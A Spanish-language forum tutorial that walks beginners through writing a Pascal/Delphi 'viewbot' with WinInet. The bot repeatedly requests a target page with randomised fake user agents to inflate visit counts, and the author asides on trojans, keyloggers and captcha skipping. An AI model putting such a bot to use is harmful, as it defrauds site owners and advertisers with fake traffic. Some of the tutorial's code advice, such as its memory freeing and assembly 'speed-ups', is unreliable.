14) Probando nuestro viewbot por 3º vez!.
15)Usando StripReloc para hacer el ejecutable mas pequeño y su relación con .reloc(Apartado de optimizacion 2º parte).
16)Mirando en LordPe la sección .reloc.
17)Viendo el Stack y el Heap con WinDbg.
18)Despedida.

===============================


0)¿Por que Pascal?:
Porque es un lenguaje muy potente, sin dudarlo a la altura de C++, que lo supera en algunos aspectos y como comentario personal,
se puede decir que en pascal se han programado grandes troyanos y/o herramientas de hacking.
Pascal tanto como C, lamentablemente son tomados por los novatos de la programación como “lenguajes de alto nivel”,
pero esto es completamente falso, ambos son LENGUAJES DE PROPOSITO GENERAL,
esto quiere decir que podemos programar tanto a alto nivel, como a medio nivel, o bajo nivel(asm y mas, incluso se pueden hacer drivers).
Por ejemplo, el FPC compila 10% mas rapido que el GCC,
pueden encontrar mas información acerca de este lenguaje aquí: http://es.wikipedia.org/wiki/Pascal_(lenguaje_de_programaci%C3%B3n)

1)Introduccion:
Antes de comenzar con el tutorial les pido que si deciden distribuir este material,
mencionen al autor por respeto y por que seria(en mi opinión) la forma mas sumisa de darme las gracias si te ha servido,
mi nombre es WarZ0n3 y me puedes encontrar en el los foros de http://foro.elhacker.net o http://www.indetectables.net.

El uso de Wininet no esta muy documentado, no he encontrado demasiada información al respecto,
y es un hecho que gran parte de los códigos que se pueden encontrar en la red fueron hechos como ejemplos,
por lo que realmente pasare a decir que lo aquí explicado, se comentara lo mas posible. Ademas el uso de robots,
spamers publicitario etc.. no es un tema nuevo(aunque nunca vi un tutorial de como programar uno),
por esto se me ocurrió hablar sobre este tema, pero cuando se saben usar APIS como winsock, wininet, etc..
sea en C++ o pascal y usando tu sentido común podrás desarrollar un viewer,
lo suficientemente poderoso y profesional para el mercado.
Pero RECUERDEN que este es un tutorial para aquellos iniciados en el tema de las APIS. Así que basta de rodeos y a empezar.

2)Conocimientos previos:
Si no sabes usar APIS, o eres un iniciado en pascal, no debes preocuparte, ya que este tutorial
se enfoca en las personas que recién empiezan.
No sondeare sobre como desensamblar código para hacer las funciones en asm puro
y se ejecuten mas rápido (esto por si lo ven en códigos futuros míos), tal vez para otro tutorial,
eso puede aprenderse en shellcoding (de hecho así lo aprendí yo).

3)Desarrollando con la librería WinInet:
Wininet es una dll que puedes encontrar en System32 de tu windows, y es la encargada de las funciones de internet.
La importancia de usarla es que, como toda API, se pueden hacer cosas muy profesionales arbitrariamente hablando, también tomar en cuenta la optimización de código, y que siempre es mejor usar apis, en vez de componentes externos o indys. No tengo nada contra de estos, incluso hay veces que debo recurrir a ellos.

Lo primero sera agregarla en USES para poder usarla, y para ello abrimos delphi 7 nos vamos a
file->new->other y elejimos console application.


Ahora crearemos una función la cual se encargara de hacer peticiones a una pagina que nosotros le pasemos como argumento:
Código
  1. // Uses: Requerimientos para usar la librería wininet y otras funciones de las que nos provee pascal
  2. uses
  3.  WinInet,
  4.  Windows,
  5.  SysUtils;
  6.  
  7. // aplicación de tipo consola
  8. {$APPTYPE CONSOLE}
  9.  
  10. // directiva del compilador usada para añadir un símbolo especifico en la cabecera de C++ generada
  11. {$HPPEMIT '#include <wininet.h>'}
  12. // otro ejemplo {$HPPEMIT 'struct myVar'}, obviamente generada desde la cabecera de C++
  13.  
  14. // constantes que usaremos como parámetros en las funciones de wininet
  15. (* recordemos que podemos usar valores hexadecimal para las definiciones, de echo
  16.  muchas se proveen de esta forma (por lo que yo recomiendo mucho esto),
  17. también tengan presente que deben ser 8 dígitos (1 octeto), si no saben hexa usen la calculadora de windows en modo científico.
  18. NOTA RAPIDA: en pascal los valores hexadecimales son definidos con el simbolo $ adelante *)
  19.  
  20. const
  21.  INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
  22.  {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG}
  23.  INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
  24.  {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT}
  25.  INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
  26.  {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY}
  27. INTERNET_FLAGS_MASK         = INTERNET_FLAG_RELOAD      or
  28.                                INTERNET_FLAG_NO_COOKIES;
  29.  {$EXTERNALSYM INTERNET_FLAGS_MASK}
  30.  ZERO                                = $00000000;
  31.  HTTP                                = 'http://';

 En pascal existen 3 tipos de comentarios:
Código
  1. // comentario 1(inline)
  2. {comentario 2 equivalente a /**/ en c++}
  3. (* comentario 3 equivalente a /**/ en c++ *)

NOTA: No es  lo mismo hacer {} que {$}, cuando hacemos esto {$} en realidad hablamos  de directivas del compilador,
si saben c++ deberían entender a que me refiero. #define ...
Código
  1. // Esta directiva impide a pascal que se sobrecarguen rutinas, ya definidas en los headers de C++
  2. // ejemplo: {$EXTERNALSYM <VARIABLE_O_FUNCIÓN>}
Creando la función:
Código
  1. function
  2. RequestInternet(url:string): BOOL;
  3. var
  4.  hInet,
  5.  hUrl        : hInternet;
  6.  
  7. begin
  8.  hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
  9.  if assigned(hInet) then
  10.  begin
  11.    hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
  12.      INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
  13.    if assigned(hUrl) then begin
  14.      Result:= true; end
  15.    else begin Result:= false; end;
  16.  end;
  17.  
  18.  InternetCloseHandle(hInet);
  19.  InternetCloseHandle(hUrl);
  20. end;

“if assigned”: esta función chequea si la referencia no es de tipo nula (NIL), si lo es retorna FALSE y si no es nula retorna TRUE
ej: if assigned(Puntero) then begin … <codigo> … end;

Código
  1. hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
Básicamente inicializa el uso de las funciones de Wininet.
Pueden encontrar mas información al respecto en : http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx

msdn nos dice que los parámetros son:
Código
  1. HINTERNET InternetOpen(
  2.  LPCTSTR lpszAgent, // USER-AGENT del protocolo HTTP (luego lo cambiaremos)
  3.  DWORD dwAccessType, // Tipo de acceso, es este caso el pre-configurado.
  4.  LPCTSTR lpszProxyName, // Usados para proxys
  5.  LPCTSTR lpszProxyBypass,
  6.  DWORD dwFlags
  7. );
Código
  1. hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
Usada para el acceso a internet (también puede usarse para el protocolo FTP). Y el HTTP+url,
es el definido en las constantes mas el parámetro de la función.
Los demás parámetros según la msdn:
Código
  1. HINTERNET InternetOpenUrl(
  2.  HINTERNET hInternet, // Handler a OpenInternet(que inicializamos previamente)
  3.  LPCTSTR lpszUrl, // Url pasada como argumento (ej: http://www.youtube.com&#38;#38;#41;
  4.  LPCTSTR lpszHeaders, // tipo de lectura en HTTP, FTP, o HTPPS (son soportados)
  5.  DWORD dwHeadersLength,
  6.  DWORD dwFlags,
  7.  DWORD_PTR dwContext
  8. );
Y nos retorna un NULL si la conexión ha fallado. Otra cosa es que podríamos haber usado InternetConnect,
no entrare en detalles, tal ves para otra entrega y otro tipo de spamer,
pero me limitare a decir que esto puede ser en caso de querer logearnos automáticamente(con autentificación ) a un sitio web,
y seria cuestión de saltarse los captchas, si es que los tiene, por esto solo utilizaremos “openurl”,
ya que solo queremos generar visitas y nada más.
Código
  1. InternetCloseHandle(hInet); InternetCloseHandle(hUrl);
Cierra el/los manejadores de internet... mas información aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/aa384350&#38;#40;v=vs.85&#38;#41;.aspx
(Recordemos siempre liberar memoria, cerrando  handlers correctamente, y variables (mas si son de tipo puntero).

NOTA: Hinternet según wininet.pas son de tipo punteros, así que podríamos haber echo lo mismo de la
siguiente forma:
Código
  1. hInet,
  2.  hUrl        : Pointer;
Si lo hacen así recomiendo usar FreeMemory(hInet), etc...

4)Hablando de return y result en Pascal:
En pascal no hay return como tal, pero alternativamente nos valemos de Result,
el cual se crea (automáticamente) cuando se inicia la función en memoria,
este contiene el resultado de dicha función y puede ser usada a lo largo del programa.
Para este ejemplo se uso un booleano que nos devuelve true si la sesión fue exitosa y false si no lo fue.

Entonces el código hasta el momento nos debe quedar así:
Código
  1. program rweb;
  2.  
  3. uses
  4.  WinInet,
  5.  Windows,
  6.  SysUtils;
  7.  
  8. {$APPTYPE CONSOLE}
  9.  
  10. {$HPPEMIT '#include <wininet.h>'}
  11.  
  12. const
  13.  INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
  14.  {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG}
  15.  INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
  16.  {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT}
  17.  INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
  18.  {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY}
  19.  INTERNET_FLAGS_MASK         = INTERNET_FLAG_RELOAD      or
  20.                                INTERNET_FLAG_NO_COOKIES;
  21.  {$EXTERNALSYM INTERNET_FLAGS_MASK}
  22.  ZERO                                = $00000000;
  23.  HTTP                                = 'http://';
  24.  
  25. function
  26. RequestInternet(url:string): BOOL;
  27. var
  28.  hInet,
  29.  hUrl        : hInternet;
  30.  
  31. begin
  32.  hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
  33.  if assigned(hInet) then
  34.  begin
  35.    hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
  36.      INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
  37.    if assigned(hUrl) then begin
  38.      Result:= true; end
  39.    else begin Result:= false; end;
  40.  end;
  41.  
  42.  InternetCloseHandle(hInet);
  43.  InternetCloseHandle(hUrl);
  44. end;
  45.  
  46. // inicializamos el programa con la funcion
  47. begin
  48. if RequestInternet( string(ParamStr(1)) ) then
  49.  begin
  50.    writeLn('Sesion exitosa'); end
  51.  else begin
  52.    writeLn('Ha surgido un problema en la conexion...'); end;
  53. end.

Dentro de begin y end. (no end;), se inicia el programa, y el end. (con punto) remarca la finalización del código.
ParamStr(1) es el argumentos de la aplicación (el que le pasaremos como parámetro cuando la ejecutemos).
Osease rweb 'pagina a visitar'.

5)Probando nuestro robot por primera vez:
Simple y eficaz, luego agregaremos más características, como user agents hasheados en una variable random,
que dará como resultado user-agents falsos, pero por ahora el código esta bien y es necesario  probarlo antes de continuar.

Entonces naveguemos hasta el directorio de nuestro projecto y hagan lo que se muestra en la imagen (yo copie mi rweb.exe en C:/ )



Como vemos en el primer ejemplo “rweb localhost”(por si no ves la imagen),
nos indica que la sesión fue exitosa (ya que tengo xampp corriendo).


Y en el segundo ejemplo vemos “ha surgido un problema en la conexión” ya que visitamos una web no existente,
el http:// adelante no lo agregamos por que en nuestro código previo ya lo habíamos hecho.

6) Convirtiendo nuestra PC en un servidor web de pruebas:
Si no sabes que es xampp, wampp, etc.. te recomiendo que te pases por aca: http://es.wikipedia.org/wiki/XAMPP
no entraremos en este tema, por que es irrelevante, ya que este es un tutorial sobre desarrollo de viewbots,
pero básicamente esto convierte tu maquina en un servidor web (y es necesario para hacer las pruebas locales),
lo puedes descargar de acá: http://www.apachefriends.org/es/xampp.html y para instalarlo
te dejo esta guía: http://vagabundia.blogspot.com/2012/07/como-instalar-xampp-en-windows.html
Eso sera suficiente para entrar en “localhost” o lo que es lo mismo “127.0.0.1” .

7)Creando un contador de visitas en PHP y algo más... :
En el ejemplo anterior vimos que nuestro pequeño bot funciona, y hasta nos avisa que la sesión fue exitosa,
¿pero realmente como sabemos que así fue?, y mas importante aun, como podemos tener un control de ello,
antes de adelantarnos a agregar mas en nuestro código haremos un simple contador de visitas en PHP
y ademas haremos que nos diga nuestra IP y USER-AGENT(navegador), también lo guardaremos en un archivo .txt .

NOTA RAPIDA: en Xampp la carpeta para entrar al index y agregar nuestra pagina es
C:/xampp/htdocs en otros servicios es probable encontrar la carpeta en /www .

Código en PHP (crea un archivo con la extensión .php que se llame contador y guardala en htdocs):

Código
  1. <?php
  2. // Encargada de capturar la ip (o ip remota en el caso de que sea en la web).
  3. $ip=$_SERVER['REMOTE_ADDR'];
  4. // Captura el navegador.
  5. $user_agent=$_SERVER['HTTP_USER_AGENT'];
  6. echo "Tu ip real es: ".$ip;
  7. echo "<br>Y tu navegador es: ".$user_agent;
  8.  
  9. // Archivo en donde se acumulará el numero de visitas
  10. $contador = "contador.txt";
  11. // Archivo en donde se guardara tu ip y navegador.
  12. $info  = "ips.txt";
  13.  
  14. // Abrimos el archivo para solamente leerlo (r de read)
  15. $abre_visitas = fopen($contador, "r");
  16. // Leemos el contenido del archivo
  17. $total = fread($abre_visitas, filesize($contador));
  18. // Cerramos el archivo
  19. fclose($abre_visitas);
  20.  
  21. // Abrimos nuevamente el archivo
  22. $abre_visitas = fopen($contador, "w");
  23. // Sumamos 1 nueva visita
  24. $total = $total + 1;
  25.  
  26. // Y reemplazamos por la nueva cantidad de visitas
  27. $grabar_visitas = fwrite($abre_visitas, $total);
  28. // Cerramos la conexión al archivo
  29. fclose($abre_visitas);
  30.  
  31. // Imprimimos el total de visitas dándole un formato
  32. echo "<br><br><i>Total de visitas: ".$total;
  33. // abrimos el segundo archivo donde ira la ip y navegador.
  34. $abre_datos= fopen($info, "a+");
  35. // lo escribimos (PHP_EOL es un salto de linea).
  36. $grabar_datos = fwrite($abre_datos, PHP_EOL ."Tu ip es: ".$ip.PHP_EOL ."Tu navegador es: ".$user_agent);
  37. fclose($abre_datos);
  38. ?>

Como vemos el código es bastante básico, pero la idea no es mala y con esto bastara para saber
el navegador con el que se loguea nuestro bot y cuantas veces lo hace.

Haremos otra visita, pero esta ves al “contador.php”


En la imagen podemos observar el total de visitas, 5 que hice comúnmente, y la numero 6 del bot,
vamos a la carpeta xampp/htdocs y veamos los ficheros formados y que contienen.

Muy bien, tenemos “contador.txt” con el numero 6, y “ips.txt” con los navegadores visitados y la ip,
en la imagen podemos observar que el ultimo (el remarcado con azul) dice:
Tu navegador es: USER-AGENT: ROBOT
Exelente! Esto quiere decir que nuestro pequeño bot dio resultado. ¿Recuerdan esto?:
Código
  1. hInet:= InternetOpen('USER AGENT: ROBOT', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);

Pues hay lo tienen!.

8)Hashes mixtos para nuestra maquina:
Nuestro próximo objetivo es hacer hashes que se generen automáticamente, y con una llamado de “Ramdom” se creen al azar,
crearemos una nueva función llamada RandomHashes arriba de RequestInternet, entonces nuestro código sera el siguiente:
Código
  1. const:
  2. BUFFSIZE                            = $00000041;  // 65d
  3. function
  4.  RandomHashes(LenDict:integer):string;
  5. const
  6.  BuffHash    : Array[0..BUFFSIZE] of Char= (
  7.    'a', 'b', 'c', 'd', 'e', 'f', 'g',
  8.    'h', 'i', 'j', 'k', 'l', 'm', 'n',
  9.    'o', 'p', 'q', 'r', 's', 't', 'u',
  10.    'u', 'v', 'w', 'x', 'y', 'z', 'A',
  11.    'B', 'C', 'D', 'E', 'F', 'G', 'H',
  12.    'I', 'J', 'K', 'L', 'M', 'N', 'O',
  13.    'P', 'Q', 'R', 'S', 'T', 'U', 'V',
  14.    'W', 'X', 'Y', 'Z', '0', '1', '2',
  15.    '3', '4', '5', '6', '7', '8', '9',
  16.    '=', '?', '-'
  17.  );

Creamos 2 constantes, la primera llamada BUFFSIZE fuera de la función, que tendrá la longitud de nuestro diccionario ,
y la segunda constante(dentro de la función) tendrá nuestro diccionario de letras que se generaran al azar.
NOTA: $00000041(hex) en decimal es 65, osea que nuestro diccionario tiene 66 de longitud real (por que el array se inicializa
en zero y también es contado como lugar).

Ahora lo que haremos sera generar el hash, y lo imprimiremos en pantalla,
esto es para asegurarnos de que la función esta haciendo su trabajo correctamente.
Código
  1. var
  2.  iHash         : Integer;
  3.  PBuffHash     : Char;
  4. repeat
  5.  iHash:= Length(BuffHash)-LenDict;
  6.  repeat
  7.    Randomize;
  8.    PBuffHash:= BuffHash[Random(Length(BuffHash))];
  9.    asm
  10.      @@StartUp:
  11.        DEC(iHash);
  12.    end;
  13.    Result:= Result+PBuffHash;
  14.  until (iHash<ZERO);
  15.  Result:= Result;
  16.  
  17.  ZeroMemory(Addr(iHash), SizeOf(iHash));
  18.  ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));

Tranquilos que esto es muy fácil, solo hay que desmenuzar el código y analizarlo con tranquilidad.
Código
  1. iHash: sera la longitud de la variable “BuffHash” que como vimos anteriormente es la que contiene nuestro diccionario.
Código
  1. PbuffHash: Sera de tipo Char y contendrá como dato nustro hash.
Código
  1. Randomize: es un procedimiento(procedure), NO! una función.
y básicamente genera números al azar en conjunción con la función Ramdom, que ya veremos.
Código
  1. PBuffHash:= BuffHash[Random(Length(BuffHash))];
Acá lo que estamos haciendo es decirle a PbuffHash, que almacene nuestro diccionario,
que es de tipo char(por esto te comentaba que ambas variables deben ser de tipo Char).
Código
  1. Random();
es una función que genera números al azar y
Código
  1. length(BuffHash);
repito de nuevo, sera la longitud de nuestro diccionario en la que se generara el hash.
Código
  1. asm
  2.      @@StartUp:
  3.        DEC(iHash);
  4. end;
Recordemos que siempre el código en ensamblador se ejecuta mas rápido, y así de alguna manera estamos pre-optimizando nuestro código.

9)Un vistazo a la programación monolítica:
Aquellos que sean programadores de la vieja escuela sabrán que antes no existía la programación estructurada como tal,
por lo que se hacía con labels, o etiquetas, por esto usar gotos es una mala manera de programar aun que en algunos casos
no queda remedio...
Código
  1. @@Startup: Sera nuestra etiqueta de comienzo algo así como una referencia en el código,
  2. y DEC lo que hace es decrementar en 1 la variable pasada como argumento, mas adelante explicare por que.

Código
  1. Repeat y until (iHash<ZERO);
Repite nuestro código(generando char por char en PbuffHash) hasta que se cumpla una condición,
por ejemplo lo que vimos anteriormente es que estamos decrementando
iHash(contenedor de la longitud de nuestro diccionario) en 1,
osea que nuestro until se dejara de ejecutar cuando este llegue a zero, y la variable que le pase “ZERO” es la constante definida anteriormente.
Código
  1. Result:= Result+PBuffHash;
¿Recuerdan lo de los Results que les había explicado?, pues es tiempo de darles uso,
y aquí lo que hacemos es sumar el valor en cada repetición, en este caso  “PbuffHash” el cual es nuestro hash generandose.
Ahora le decimos a que sea igual al resultado ya generado, osease Result:= Result;

10)Limpiando variables en memoria:
Código
  1. ZeroMemory(Addr(iHash), SizeOf(iHash));
Esta función es el equivalente a FillChar y es muy útil para limpiar una variable en memoria(también para incializarla en $00000000),
en realidad si hubiera inicializado otro tipo de array (ya sea de punteros especialmente),
haría algo como
Código
  1. ZeroMemory(HandlerArrayOPuntero, SizeOf(HandlerArrayOPuntero))
pero lo del Addr,  es para limpiar fuera de la memoria nuestra variable, ademas es Addr quien contiene la dirección.

Y para terminar la explicación, nuestra función recibe un parámetro “LenDict” de tipo integro,
esta será la longitud total que queremos que tenga nuestro diccionario,
habíamos dicho que 66 en decimal, pero la verdad que es un valor MUY largo para nuestro bot,
entonces lo restaremos en nuestra función prorroga.

Probemos la funcion (en begin comente lo anterior hecho para la pruebita):
Código
  1. begin
  2. (*
  3.   if RequestInternet( string(ParamStr(1)), 40) then
  4.   begin
  5.     writeLn(#13#10+'Sesion exitosa'); end
  6.   else begin
  7.     writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
  8. *)
  9.  
  10.  WriteLn('Hash formado: ', RandomHashes(45));
  11.  Sleep($500);
  12. end.

Pueden observar que le pasamos el número 45 osea 66-45=21, pero la longitud total es 22 por que inicializamos el array en 0.

Y ahora es tiempo de tocar RequestInternet, es tan facil como agregar nuestra nueva función:
Código
  1. function
  2. RequestInternet(url:string; Hashes: integer): BOOL;
  3. var
  4.  hInet,
  5.  hUrl        : hInternet;
  6.  NHash       : Pchar; // Creamos otra variable
  7. begin
  8.  NHash:= Pchar(RandomHashes(Hashes)); // Llamamos nuestra función generadora de hashes
  9.  hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
  10.  if assigned(hInet) then
  11.  begin
  12.    hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
  13.      INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
  14.    if assigned(hUrl) then begin
  15.      Result:= true;
  16.      WriteLn('Hash generado: '+NHash); end // mostramos el hash generado.
  17.    else begin Result:= false; end;
  18.  end;
  19.  
  20.  InternetCloseHandle(hInet);
  21.  InternetCloseHandle(hUrl);
  22.  FreeMemory(NHash); // liberamos nuestra variable de tipo puntero.
  23. End;
Código
  1. NHash:= Pchar(RandomHashes(Hashes));
Entonces Nhash contendrá nuestro hash generado en la longitud de 22 y lo pondremos en InternetOpen para que cambie nuestro USER-AGENT,
terminemos el código(por ahora).
Entonces si todo va bien te debería quedar de la siguiente manera:
Código
  1. program rweb;
  2.  
  3. uses
  4.  WinInet,
  5.  Windows,
  6.  SysUtils;
  7.  
  8. {$APPTYPE CONSOLE}
  9.  
  10. {$HPPEMIT '#include <wininet.h>'}
  11.  
  12. const
  13.  INTERNET_OPEN_TYPE_PRECONFIG        = $00000000; (* Usa la configuracion del registro(por defecto) *)
  14.  {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG}
  15.  INTERNET_OPEN_TYPE_DIRECT           = $00000001;  (* Acceso directo a la red *)
  16.  {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT}
  17.  INTERNET_OPEN_TYPE_PROXY            = $00000003; (* Acceso via proxy *)
  18.  {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY}
  19.  INTERNET_FLAGS_MASK                 = INTERNET_FLAG_RELOAD      or
  20.                                        INTERNET_FLAG_NO_COOKIES;
  21.  {$EXTERNALSYM INTERNET_FLAGS_MASK}
  22.  
  23.  ZERO                                = $00000000;
  24.  BUFFSIZE                            = $00000041;  // 66d
  25.  HTTP                                = 'http://';
  26.  
  27. function
  28.  RandomHashes(LenDict:integer):string;
  29. const
  30.  BuffHash    : Array[0..BUFFSIZE] of Char= (
  31.    'a', 'b', 'c', 'd', 'e', 'f', 'g',
  32.    'h', 'i', 'j', 'k', 'l', 'm', 'n',
  33.    'o', 'p', 'q', 'r', 's', 't', 'u',
  34.    'u', 'v', 'w', 'x', 'y', 'z', 'A',
  35.    'B', 'C', 'D', 'E', 'F', 'G', 'H',
  36.    'I', 'J', 'K', 'L', 'M', 'N', 'O',
  37.    'P', 'Q', 'R', 'S', 'T', 'U', 'V',
  38.    'W', 'X', 'Y', 'Z', '0', '1', '2',
  39.    '3', '4', '5', '6', '7', '8', '9',
  40.    '=', '?', '-'
  41.  );
  42. var
  43.  iHash         : Integer;
  44.  PBuffHash     : Char;
  45. begin
  46.  iHash:= Length(BuffHash)-LenDict;
  47.  repeat
  48.    Randomize;
  49.    PBuffHash:= BuffHash[Random(Length(BuffHash))];
  50.    asm
  51.      @@StartUp:
  52.        DEC(iHash);
  53.    end;
  54.    Result:= Result+PBuffHash;
  55.  until (iHash<ZERO);
  56.  Result:= Result;
  57.  
  58.  ZeroMemory(Addr(iHash), SizeOf(iHash));
  59.  ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash));
  60. end;
  61.  
  62. function
  63. RequestInternet(url:string; Hashes: integer): BOOL;
  64. var
  65.  hInet,
  66.  hUrl        : hInternet;
  67.  NHash       : PChar;
  68. begin
  69.  NHash:= PChar(RandomHashes(Hashes));
  70.  hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO);
  71.  if assigned(hInet) then
  72.  begin
  73.    hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES,
  74.      INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP);
  75.    if assigned(hUrl) then begin
  76.      Result:= true;
  77.      WriteLn('Hash generado: '+NHash); end
  78.    else begin Result:= false; end;
  79.  end;
  80.  
  81.  InternetCloseHandle(hInet);
  82.  InternetCloseHandle(hUrl);
  83.  FreeMemory(NHash);
  84. end;
  85.  
  86. begin
  87.  if RequestInternet( string(ParamStr(1)), 40) then
  88.  begin
  89.    writeLn(#13#10+'Sesion exitosa'); end
  90.  else begin
  91.    writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
  92.  Sleep($500);
  93. end.
Y listo!, hora de probar nuestro robot:

11) Probando nuestro viewbot por 2º vez:
Parámetro : rweb localhost/contador.php


¿Que tal he? Va tomando color.
Vamos a automatizarlo para que mientras visite nuestro sitio deseado, nosotros no tengamos que hacer nadas mas que
esperar viéndonos un capitulo de los simpson mientras comemos helado.

Agregamos los siguiente:
Código
  1. /en const:
  2. F5KEY                               = $00000074;  // 116decimal = F5
  3. var
  4.  Init        : BOOL = True;
  5.  
  6. begin
  7.  while Init do begin
  8.    WriteLn('Apreta (F5) para salir de Rbot. ');
  9.    if RequestInternet( string(ParamStr(1)), 40) then
  10.    begin
  11.      writeLn(#13#10+'Sesion exitosa!'); end
  12.    else begin
  13.      writeLn(#13#10+'Ha surgido un problema en la conexion...'); end;
  14.  
  15.    if GetasyncKeyState(F5KEY)<>ZERO then begin
  16.      Init:= false;
  17.      WriteLn(#13#10+'Opcion salida por el usuario.');
  18.    end;
  19.  end;
  20.  
  21.  Sleep($500);
  22. end.
Aun mas fácil!, en constante definimos “F5KEY” el cual es un valor hexa de 74 osea traducido en decimal 116 que es la tecla F5
var Init : BOOL = True, lo dejaremos para mas adelante, ya que esto inicializar el loop en true.
Código
  1. while Init do begin: el bucle while permanecerá repitiéndose mientras sea True de otro modo se rompe y salimos de la aplicación .
Código
  1. if GetasyncKeyState(F5KEY)<>ZERO then begin  Init:= false; ...
GetasyncKeyState es un función de windows, el cual nos permitirá registrar lo que escribamos,
es muy intuitiva y fácil(también usada para keyloggers, aunque nada como hooks).
Como parámetro recibe la tecla presionada, osease F5 que es la que usaremos para salir, y <>
ZERO nos dice que mientras sea distinto a zero no igualara Init a False lo que pondrá fin a nuestro bucle.

El parámetro según la msdn:
Código
  1. SHORT WINAPI GetAsyncKeyState(
  2.  int vKey
  3. );
para mas información consultalo aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx

12) Usando el API Winsock para obtener IPs:
Bueno este paso es opcional, pero lo recomiendo mucho, ya que ayudara a entender(un poco) la librería WinSock,
tal ves mas adelante(en otro tuto), hablaremos de ello y enseñare a como usarla, incluso si se quiere programar un troyano,
yo por mi parte la aprendía a usar con este objetivo, y hace poco había echo un troyano con tal funciones,
aun que le queda mucho por optimizar, pero ya, dejemos lo ahí...
Crearemos otra función llamada GetIp, la cual nos dirá la IP del servidor pasado como paramentro,
Entonces el código es el siguiente (vamos que queda poquísimo y es fácil):
Código
  1. const:
  2. INADDRSIZE                          = $0000000A;
  3. var:
  4.  IRobot         : Integer = 0;
  5.  WSData      : WsaData;
  6. function
  7.  GetIP(): PChar;
  8. type
  9.  aIn_addr      = array [0..INADDRSIZE] of pInAddr;
  10.  pIn_addr      = ^aIn_addr;
  11. var
  12.  Hostent     : PHostEnt;
  13.  HostAddr    : pIn_addr;
  14. begin
  15.  WSAStartup($1, WSData);
  16.  Hostent:= GetHostBYName( PChar(ParamStr(1)) );
  17.  HostAddr:= pIn_addr(Hostent^.h_addr_list);
  18.  Result:= inet_ntoa(HostAddr^[ZERO]^);
  19.  
  20.  FreeMemory(HostAddr);
  21.  WSACleanUp;
  22. end;
Código
  1. const: INADDRSIZE = $0000000A;
Acuérdense, esto va en constantes(fuera de la función),
y el valor es el que tendrá nuestro Array “A” en hexa es el equivalente a 10 en decimal.
Código
  1. aIn_addr = array [0..INADDRSIZE] of pInAddr;
Esto va en constantes(dentro de la función), pInAddr es un puntero de ^TinAddr que ha su vez termina en “in_addr”
Código
  1. pIn_addr      = ^aIn_addr;
Puntero a “aIn_addr” nuestro array.
Código
  1. Hostent : PhostEnt;
Es el “result”(recuerde que explique esto anteriormente) de la función “gethostbyname” por
medio de stdcall.
Código
  1. HostAddr : pIn_addr;
Puntero a “pIn_addr” que a su vez es un puntero de “aIn_addr” que contiene otro array de punteros
(puede sonar confuso..)
Código
  1. WSData : WsaData; y WSAStartup($1, WSData);
Para ello nos vamos a la bendita msdn, los parámetros son los siguientes:
Código
  1. int WSAStartup(
  2.  WORD wVersionRequested, // Versión de sockets que se usaran
  3.  LPWSADATA lpWSAData // Puntero a WsaData el que definimos en las variables
  4. );
Mas información puede encontrarse aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx
Código
  1. Hostent:= GetHostByName( PChar(ParamStr(1)) );
Ya había mencionado que PhostEnt era el resultado de esta función, así
que obviamente al definirla la usaremos, (paramstr 1 es el sitio web que
visitemos ej:www.youtube.com)
Código
  1. HostAddr:= pIn_addr(Hostent^.h_addr_list);
Y no podía faltar el puntero de puntero de punteros...
Ejemplo:
Código
  1. function GetHostByName(name: PChar): PHostEnt; stdcall;
Para entender esta función debemos recurrir de nuevo a la msdn, luego daré un ejemplo
Entonces los parámetros son los siguientes:
Código
  1. struct hostent* FAR gethostbyname(
  2.  const char *name // Puntero al nombre del host a traducir a IP
  3. );
Código
  1. h_addr_list;
lista de direcciones IP para el servidor pasado como parametro.
Mas info en: http://msdn.microsoft.com/en-us/library/windows/desktop/ms738524(v=vs.85).aspx

